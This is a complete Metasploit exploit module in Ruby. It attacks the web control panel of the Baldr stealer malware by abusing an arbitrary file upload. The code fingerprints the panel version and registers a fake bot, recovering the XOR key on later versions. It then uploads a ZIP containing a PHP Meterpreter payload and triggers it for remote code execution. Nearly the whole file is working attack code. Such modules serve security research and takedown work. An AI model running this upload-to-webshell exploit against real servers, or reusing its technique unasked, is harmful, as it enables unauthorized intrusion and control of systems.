##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Baldr Botnet Panel Shell Upload Exploit',
        'Description' => %q{
          This module exploits an arbitrary file upload vulnerability within the Baldr
          stealer malware control panel when uploading victim log files (which are uploaded
          as ZIP files). Attackers can turn this vulnerability into an RCE by first
          registering a new bot to the panel and then uploading a ZIP file containing
          malicious PHP, which will then uploaded to a publicly accessible
          directory underneath the /logs web directory.

          Note that on versions 3.0 and 3.1 the ZIP files containing the victim log files
          are encoded by XORing them with a random 4 byte key. This exploit module gets around
          this restriction by retrieving the IP specific XOR key from panel gate before
          uploading the malicious ZIP file.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ege Balcı <egebalci@pm.me>' # author & msf module
        ],
        'References' => [
          ['URL', 'https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/'],
          ['URL', 'https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/'],
          ['URL', 'https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/baldr-vs-the-world.pdf'],
        ],
        'DefaultOptions' => {
          'SSL' => false,
          'WfsDelay' => 5
        },
        'Platform' => [ 'php' ],
        'Arch' => [ ARCH_PHP ],
        'Targets' => [
          [
            'Auto',
            {
              'Platform' => 'PHP',
              'Arch' => ARCH_PHP,
              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
            }
          ],
          [
            '<= v2.0',
            {
              'Platform' => 'PHP',
              'Arch' => ARCH_PHP,
              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
            }
          ],
          [
            'v2.2',
            {
              'Platform' => 'PHP',
              'Arch' => ARCH_PHP,
              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
            }
          ],
          [
            'v3.0 & v3.1',
            {
              'Platform' => 'PHP',
              'Arch' => ARCH_PHP,
              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2018-12-19',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']),
      ]
    )
  end

  def check
    if select_target
      Exploit::CheckCode::Appears("Baldr Version: #{select_target.name}")
    else
      Exploit::CheckCode::Safe
    end
  end

  def select_target
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'gate.php')
    )
    if res && res.code == 200
      if res.body.include?('~;~')
        targets[3]
      elsif res.body.include?(';')
        targets[2]
      elsif res.body.size < 4
        targets[1]
      end
    end
  end

  def exploit
    # Forge the payload
    name = ".#{Rex::Text.rand_text_alpha(4)}"
    files =
      [
        { data: payload.encoded, fname: "#{name}.php" }
      ]
    zip = Msf::Util::EXE.to_zip(files)
    hwid = Rex::Text.rand_text_alpha(8).upcase

    gate_uri = normalize_uri(target_uri.path, 'gate.php')
    version = select_target
    # If not 'Auto' then use the selected version
    if target != targets[0]
      version = target
    end

    gate_res = send_request_cgi({
      'method' => 'GET',
      'uri' => gate_uri
    })
    os = Rex::Text.rand_text_alpha(8..12)

    case version
    when targets[3]
      fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res
      unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')
        fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')
      end
      key = gate_res.body.to_s.split('~;~')[0]
      print_good("Key: #{key}")

      data = "hwid=#{hwid}&os=#{os}&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"
      data = Rex::Text.xor(key, data)

      res = send_request_cgi({
        'method' => 'GET',
        'uri' => gate_uri,
        'data' => data.to_s
      })

      fail_with(Failure::UnexpectedReply, 'Could not obtain gate key') unless res && res.code == 200
      print_good('Bot successfully registered.')

      data = Rex::Text.xor(key, zip.to_s)
      form = Rex::MIME::Message.new
      form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"#{hwid}.zip\"")

      res = send_request_cgi({
        'method' => 'POST',
        'uri' => gate_uri,
        'ctype' => "multipart/form-data; boundary=#{form.bound}",
        'data' => form.to_s
      })

      if res && res.code == 200
        print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
        register_file_for_cleanup("#{name}.php")
      else
        print_error("Server responded with code #{res.code}")
        fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
      end
    when targets[2]
      fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res
      unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')
        fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')
      end

      key = gate_res.body.to_s.split(';')[0]
      print_good("Key: #{key}")
      data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"
      data << zip.to_s
      result = Rex::Text.xor(key, data)

      res = send_request_cgi({
        'method' => 'POST',
        'uri' => gate_uri,
        'data' => result.to_s
      })

      unless res && res.code == 200
        print_error("Server responded with code #{res.code}")
        fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
      end

      print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
    else
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => gate_uri,
        'data' => zip.to_s,
        'encode_params' => true,
        'vars_get' => {
          'hwid' => hwid,
          'os' => os,
          'cookie' => '0',
          'pswd' => '0',
          'credit' => '0',
          'wallet' => '0',
          'file' => '1',
          'autofill' => '0',
          'version' => 'v2.0'
        }
      })

      if res && res.code == 200
        print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
      else
        print_error("Server responded with code #{res.code}")
        fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
      end
    end

    vprint_status('Triggering payload')
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'logs', hwid, "#{name}.php")
    }, 3)
  end
end
